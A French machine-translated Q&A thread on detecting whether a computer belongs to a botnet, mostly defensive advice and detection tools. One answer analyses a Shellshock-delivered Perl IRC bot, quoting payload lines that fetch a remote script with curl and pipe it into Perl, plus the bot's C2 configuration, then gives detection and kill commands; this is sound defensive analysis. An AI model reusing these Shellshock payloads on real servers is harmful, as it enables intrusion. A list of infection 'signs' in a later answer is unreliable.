web-dev-qa-db-fra.com

Comment savoir si mon ordinateur est utilisé pour une attaque DDoS basée sur un botnet?

Un botnet est une collection d'ordinateurs compromis, dont chacun est connu comme un "bot", connecté à Internet. Lorsqu'un ordinateur est compromis par un attaquant, il y a souvent du code dans le malware qui lui commande de faire partie d'un botnet. Le "botmaster" ou "bot herder" contrôle ces ordinateurs compromis via des protocoles réseau basés sur des normes tels que IRC et http.

Existe-t-il un moyen de détecter que votre ordinateur est utilisé dans une attaque DDoS basée sur un botnet?

Existe-t-il un outil tel qu'un logiciel qui pourrait détecter un trafic étrange et exploiter l'activité de mon ordinateur?

22
Diogo

Il n'y a pas de moyen facile de détecter si votre machine fait partie d'un botnet. Au lieu de cela, la meilleure défense est la prévention: évitez tout d'abord d'être infecté.

Il y a beaucoup de choses écrites sur la façon d'éviter les violations de sécurité, trop de choses à répéter ici. Pour commencer, vous pouvez lire, par exemple, n guide de sécurité pour les utilisateurs non techniques , renforcement de Windows , renforcement de Linux Server , ou - Secure Linux Desktop . Bonne lecture!

16
D.W.

L'analyse des noyaux et des exécutables avant leur exécution est généralement une pratique sûre, mais il est préférable de la combiner avec un modèle de contrôle d'accès au système d'exploitation solide, tel que SELinux.

Bien qu'il soit difficile de localiser les portes dérobées dans un code auto-modifiable ou autocontrôlé, la présence de code auto-modificateur ou autocontrôlé est généralement un indicateur de malware. Par exemple, l'outil MANDIANT Red Curtain peut aider un analyste de logiciels malveillants à détecter une entropie élevée dans des sections de code ou des noms/modèles étranges dans ces sections.

De plus, de nombreuses autres pratiques existent (et ne sont pas toutes documentées), comme le traçage, l'émulation, et al. La combinaison de toutes ces méthodes en un seul outil ou technique n'est pas courante, car les analystes de logiciels malveillants passent souvent de l'analyse statique à l'analyse dynamique et reviennent très rapidement (afin de gagner en perspective). Cependant, une approche par étapes utilisant un ensemble minimal d'outils peut accomplir beaucoup de choses en très peu de temps. Par exemple, j'utilise souvent pescanner.py sur un exécutable PE avant de l'exécuter dans un bac à sable avec des dumpers de mémoire de processus PE et des instruments de suivi tels que BROCHE .

Une partie de la littérature récente est de plus en plus bonne dans ce domaine de recherche.

10
atdre

Tout d'abord, vous ne pouvez pas faire confiance à un ordinateur compromis car la sortie de tous les utilitaires peut être truquée pour masquer la présence d'activités malveillantes.

Je ne m'attendrais généralement pas à ce qu'un ordinateur doté de pratiques de sécurité robustes fasse partie d'un réseau de robots. Celui où vous installez uniquement du code à partir de sources fiables, avez des mots de passe forts (qui ne sont pas utilisés ailleurs), etc. À moins que mon FAI ne dise qu'il a reçu des rapports d'activité inhabituelle de mon adresse IP indiquant un bot potentiel, ou qu'un utilisateur me le dit ils ont été amenés à installer un logiciel qui ne faisait pas comme annoncé et ils réalisent maintenant qu'il s'agissait probablement d'un cheval de Troie.

Dans ces cas, je commencerais à tester les signes d'un bot potentiel:

  • surveiller l'activité du réseau. Exécutez netstat - toutes les connexions ont-elles plus ou moins de sens? (ignorer les connexions locales; exécuter whois sur des adresses IP étrangères que je ne reconnais pas). Rappelez-vous que la sortie de netstat peut être truquée, vous exécutez donc également Wireshark (analyseur de réseau) à partir d'un autre ordinateur (présumé sûr) sur mon réseau local et vérifiez s'il y a du trafic inhabituel vers/depuis une IP non locale étrange. adresses (ce ne sont pas des trucs de routine de mon routeur/imprimante réseau, etc.)?

  • Démarrez dans un live cd de la même distribution (donc vous faites confiance aux utilitaires), et exécutez des sommes de contrôle (md5) sur des utilitaires importants (/bin, /sbin/, /usr/bin/, etc.) et comparer aux sommes de contrôle connues d'un ordinateur sûr avec le même système d'exploitation/version (ou effectuer une nouvelle installation et exécuter toutes les mises à jour, puis générer des sommes de contrôle pour comparer). (Si les sommes de contrôle ne correspondent pas, cela peut être dû à une mise à jour de l'utilitaire; vérifiez donc les versions et étudiez davantage). J'ai supposé le système linux/unix pour cette réponse, mais vous pourriez probablement faire de même pour Windows si vous savez quoi vérifier.

Si vous trouvez des preuves d'un bot, je sauvegarderais mes données (c'est-à-dire non exécutables), nettoierais le disque dur et réinstallerais le système d'exploitation à partir d'une source sûre avec différents mots de passe. Je serais très prudent en ouvrant des documents qui pourraient contenir des macros (par exemple, doc, pdfs) à partir de l'ordinateur compromis (en veillant à désactiver les macros dans les programmes concernés avant de regarder à nouveau ces fichiers, sans être connecté en tant qu'administrateur/root, et installer un antivirus).

10
dr jimbob

Un très bon bot se cachera du noyau.

La seule façon de le détecter serait de renifler le trafic entre la machine et Internet, en utilisant une machine externe connue. Même alors, il n'y aurait aucun moyen de savoir si le bot était simplement en sommeil au moment où vous l'avez cherché.

Une autre option consiste à démarrer la machine à partir de supports connus (de préférence en lecture seule) (par exemple, CD ou DVD) et à effectuer une analyse médico-légale de la machine pour rechercher les traces d'une infection.

9
Tinned_Tuna

Un darknet est également un bon moyen de découvrir les machines infectées sur votre réseau. Il s'agit essentiellement d'un sous-réseau de votre réseau local qui ne devrait normalement pas y être acheminé, avec des machines de journalisation, qui détectent les machines qui n'obéissent pas à votre configuration réseau normale, par ex. recherche de nœuds sur le réseau à infecter.

Puisque vous devez savoir quel comportement est normal et ce qui ne l'est pas, les machines infectées qui tentent d'infecter les autres ressortent comme un pouce endolori.

9
deed02392

Réponse spécifique: DDoS Perl IrcBot v1.0/2012 par l'équipe de sécurité DDoS

Avertissement

  • Cela a été fait autour de cette version spécifique de ceci malware (appelé plus tard outil ) ... Ce n'est pas une méthode générale!

  • Jouer avec des malwares et des virus pourrait devenir dangereux! Utilisez un matériel dédié, utilisateur, idéalement non connecté à Internet!

Tu as été prévenu!

Introduction

Je poste cette réponse comme un cas pratique, car j'ai déjà travaillé autour de cet outil la première fois en 2012 et récemment, en raison de Shellshock bug et exploits ...

Je suis devenu un e-mail suspect contenant la même chaîne que: To, References, Cc, From, Subject, Date, Message-ID, Comments, Keywords, Resent-Date and Resent-From:

() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.x.x/ex.txt|Perl;lwp-downloa..

J'ai d'abord trouvé ça drôle, vérifiez mon utilisateur de messagerie et mon serveur, rien d'étrange, ok ...

Pour être complètement sûr, j'ai essayé de télécharger le malware, malheureusement, il a été supprimé du serveur.

... Quelques jours plus tard, j'ai vu cela dans un journal de serveur Web:

... [27/Oct/2014:05:40:56 +0100] "GET /admin.cgi HTTP/1.0"  403 2132 \
        "() { :; }; curl http://202.143.x.x/lib21/index.cgi | Perl" \

Où les champs referer et user-agent contient la même chaîne. Mais avec une autre URL.

Désobuscation

Cette fois, j'ai pu télécharger l'outil -:

wget http://202.143.x.x/lib21/index.cgi
less index.cgi

#!/usr/bin/Perl
use MIME::Base64;
eval (decode_base64('DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI...
...IyMjIyMj'));

Première étape, les rendre lisibles. Pour cela, il suffit de remplacer eval par print:

Perl <(sed s/eval/print/ index.cgi) >ircBot.pl

sed -ne '3,11{s/^\(.\{65\}\).*$/\1/;p}' ircBot.pl
#################################################################
##  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team       ## [
##      Stealth MultiFunctional IrcBot writen in Perl          ##
##        Teste on every system with Perl instlled             ##
##                                                             ##
##     This is a free program used on your own risk.           ##
##        Created for educational purpose only.                ##
## I'm not responsible for the illegal use of this program.    ##
#################################################################

Cela a été fait pour à des fins éducatives !?

Nous pourrions donc étudier ...

Essai

Vous pouvez trouver un version désobfusquée ici . (Ce n'est pas mon article, je les ai trouvés avec exactement la même configuration après avoir lu cet article )

Nota: Pour exécuter ce genre d'outils, j'utilise un hawdware dédié, non connecté et un run dédié machine virtuelle = dedans, pour pouvoir les retrouver, les surveiller ou les arrêter depuis le niveau supérieur.

    31      ##### [ Configuration ] #####
    32      #############################
    33      
    34      my @rps = ("/usr/local/Apache/bin/httpd -DSSL",
    35                         "/usr/sbin/httpd -k start -DSSL",
    36                 "/usr/sbin/httpd",
    37                         "/usr/sbin/sshd -i",
...
    43                         "/usr/sbin/acpid",
    44                         "/usr/sbin/cron");
    45      my $process = $rps[Rand scalar @rps];
    46      
    47      my $vers = "\001VERSION - unknown command.\001";
    48      my $ircname = "shock";
    49      my $realname = `uname -vr`;
    50      my $nick = "Perl";
    51      
    52      $server = 'fflyy.su' unless $server;
    53      my $port = '8080';
    54      
    55      my $linas_max='10';
    56      my $sleep='5';
    57      
    58      my $homedir = "/tmp";
    59      my $version = 'DDoS Perl Bot v1.0';
    60      
    61      my @admins = ("M","st0n3d","x00","Jorgee");
    62      my @hostauth = ("lolhome");
    63      my @channels = ("#mperl2");
    64      $unamea = `uname -a`;
    65      $uid = `id`;
    66      
    67      my $pacotes = 1;
    68      
    69      #################################################################
    70      ##### [ Stop Editing if you dont know what are you doing. ] #####

Eh bien, sur les lignes 31 à 70, vous trouverez la configuration:

On pouvait déjà observer que $process est défini de manière aléatoire à partir d'un tableau de chaînes, à la ligne 45.

Après avoir changé $server, $port, $admins, @hostauth and @channels, Je lance l'outil.

Laboratoires

  • Première chose à dire: cet outil chauffe beaucoup de CPU. Sur un grand système, cela pourrait être inoffensif, mais sur ma mauvaise configuration, c'était important.

  • Le bot est connecté sur mon irc. Je pourrais le demander comme présenté dans l'en-tête du script, et si j'envoie un /msg, ils ouvrent un salon de discussion privé que je peux utiliser comme une console Shell.

  • Côté serveur, une fois exécutés, ils disparaissent. Si je lance ps ax, Je vois un processus httpd qui n'était pas là avant, mais ...

Eh bien, assez maintenant. Il y a quelques commandes que j'ai exécutées pour montrer clairement où elles se trouvent (bien sûr, toutes ces commandes doivent être exécutées en tant que root ou via Sudo):

  • Recherche de l'exécutable Perl en cours d'exécution:

    ls -l /proc/*/exe | grep Perl
    lrwxrwxrwx 1 www-data www-data 0 oct 30 09:39 /proc/23664/exe -> /usr/bin/Perl
    

    Cela montrera tous les processus utilisant Perl comme exécutable. Ce n'est pas basé sur cmdline.

  • Recherche des connexions TCP:

    netstat -tanp | grep :8080
    tcp     0   0 192.168.4.3:33083   192.168.4.1:8080   ESTABLISHED 23664/httpd -DSSL
    

    Dans cette configuration spécifique (génération de malware), le port 8080 est utilisé comme port distant . Même si vous possédez un serveur standard, utilisez le port 8080, ce port est utilisé comme port local .

  • Recherche du pid du serveur Web de l'utilisateur qui n'est pas détenu par le processus du serveur Web

    ps --user www-data ho ppid,pid,cmd | sed -ne 's/^ *1 //p'
    23664 /usr/local/Apache/bin/httpd -DSSL
    
  • Recherche de processus qui mangent du CPU:

    top
    top - 09:48:00 up 58 days, 21:51,  1 user,  load average: 0.02, 0.03, 0.00
    Tasks:  15 total,   3 running,  12 sleeping,   0 stopped,   0 zombie
    %Cpu(s):  0.7 us,  0.3 sy,  0.0 ni, 98.9 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
    KiB Mem:    262144 total,    88164 used,   173980 free,        0 buffers
    KiB Swap:        0 total,        0 used,        0 free,        0 cached
    
      PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND
    23664 www-data  20   0  7408 2956 1204 R  91.7  1.1   8:30.73 /usr/local/apac
        1 root      20   0  2152  724  620 S   0.0  0.3   0:36.47 init
     1028 root      20   0  2248  776  568 S   0.0  0.3   0:03.76 rpcbind
     1039 statd     20   0  2324 1072  820 S   0.0  0.4   0:00.00 rpc.statd
    

Les tuer.

Eh bien, il est maintenant temps d'arrêter cela:

kill -9 23664

Pour d'autres utilisations, bien que cet outil ne soit pas modifié, je l'ai rapidement écrit perlircbotKiller.pl (qui peut être exécuté avec au moins les mêmes droits que le bot lui-même ... ou root, devinez!)

#!/usr/bin/Perl

my @rps=("/usr/local/Apache/bin/httpd -DSSL", "/usr/sbin/httpd -k start -DSSL",
   "/usr/sbin/httpd", "/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D",
   "/usr/sbin/Apache2 -k start", "/sbin/syslogd", "/sbin/klogd -c 1 -x -x",
   "/usr/sbin/acpid", "/usr/sbin/cron");

opendir my $dh,"/proc";
map {
    open my $fh,"/proc/".$_."/cmdline";
    my $cmdline=<$fh>;
    close $fh;
    $cmdline=~s/\0*$//g;
    if (grep { $cmdline eq $_ } @rps) {
    printf "Sending SIGKILL to process %d\n", $_;
        kill 9, $_;
    }; }
grep { readlink("/proc/".$_."/exe") =~ m|/Perl| }
grep { /^\d+$/ }
readdir $dh;

... Et mon fan revient lentement ...

Outil dédié

Après quelques réécritures, j'ai écrit un peu script Perl dédié à

  • recherchez le script obscurci Perl, python ou php qui cache son nom en utilisant Apache, acpi, httpd, sshd, etc ...

  • rechercher le processus où le pid parent est 1.

  • liste connexion ouverte

  • offrir un moyen simple de tuer processus suspect.

    Suspicious process      '5089',
        has parent pid: '1',
        run             '/usr/bin/Perl',
        claim to be     '/sbin/syslogd'
        and has port    tcp '8080'
        open to         '93.174.93.80'
    Send SIGKILL to 5089 (Y/n)? Y
    

Cela fonctionne bien avec de nombreuses dérivations de logiciels malveillants actuellement activés, mais j'espère que cela pourrait fonctionner avec d'autres malwares en utilisant les mêmes méthodes.

Conclusion.

  • Ce tool (le bot Perl irc) n'est pas complètement invisible, mais une fois exécuté, il offre tout ce que l'utilisateur infecté peut faire. (Avec les droits de l'utilisateur).

  • Cette version de Shellshock attaque ne sauvegarde pas le malware sur le système infecté, donc un simple reboot pourrait être suffisant pour les supprimer.

  • Faites attention aux autres outils, l'attaquant peut utiliser une fois que cet outil est démarré! Particulier: cron et at, mais tout script ou binaire user pourrait s'exécuter et modifier pourrait être infecté!

  • Faites attention aux autres problèmes de sécurité locaux qui pourraient permettre l'élévation des privilèges locaux aussi !!

1
F. Hauri

1) Votre batterie se décharge pendant les périodes de son arrêt.

2) Vous découvrez alors que votre PC ou ordinateur portable ne s'arrête jamais réellement, à moins que la batterie ou le cordon d'alimentation ne soit retiré.

3) Votre adaptateur sans fil est désactivé mais vous remarquez qu'il doit toujours y avoir une connexion sans fil à distance. (pour diverses raisons, je ne les énumérerai pas ici)

4) Un utilisateur inconnu est propriétaire de votre lecteur C: et plus encore.

5) Vous avez perdu les autorisations d'accès aux fichiers dans system32 et les fichiers de programmes (x86), comme Cyberlink, Bluetooth, Microsoft Shell ... etc.

6) Vos points de restauration ont disparu.

7) File Shredder dans McAfee ou Avast peut soudainement déchiqueter, ou ne semble que.

8) Modifications du pare-feu que vous n'avez pas apportées.

9) lors d'une restauration du système en dehors de la partition Windows, vous remarquez un flash sur l'écran qui indique Mode de débogage FBI

10) Si 9), alors "le système a été détraqué".

1
MaxImpact

Vous pouvez utiliser un analyseur de réseau. vérifier le trafic sortant. La plupart des attaques regardent sous le protocole http/tcp/udp avec une taille de paquet énorme/un intervalle rapide.

Si votre PC se connecte souvent à un serveur/IP inconnu et poste/connectez-vous régulièrement à celui-ci. Vous pouvez être sûr que vous êtes contrôlé par un serveur C & C à partir d'un maître B.

1
Hidden

Un outil est disponible auprès de TrendMicro pour vérifier l'infection Bot.

http://free.antivirus.com/us/rubotted/

1
tekybala

Afin de vérifier si votre PC ou votre réseau est un bot, essayez le service Kaspersky https://blog.kaspersky.com/simda-botnet-check/8304/ ou RUBotted ( http: //free.antivirus.com/us/rubotted/ ) par Trend Micro. il prétend surveiller un ordinateur pour détecter d'éventuelles infections et activités suspectes associées aux robots.

1
Badr Bellaj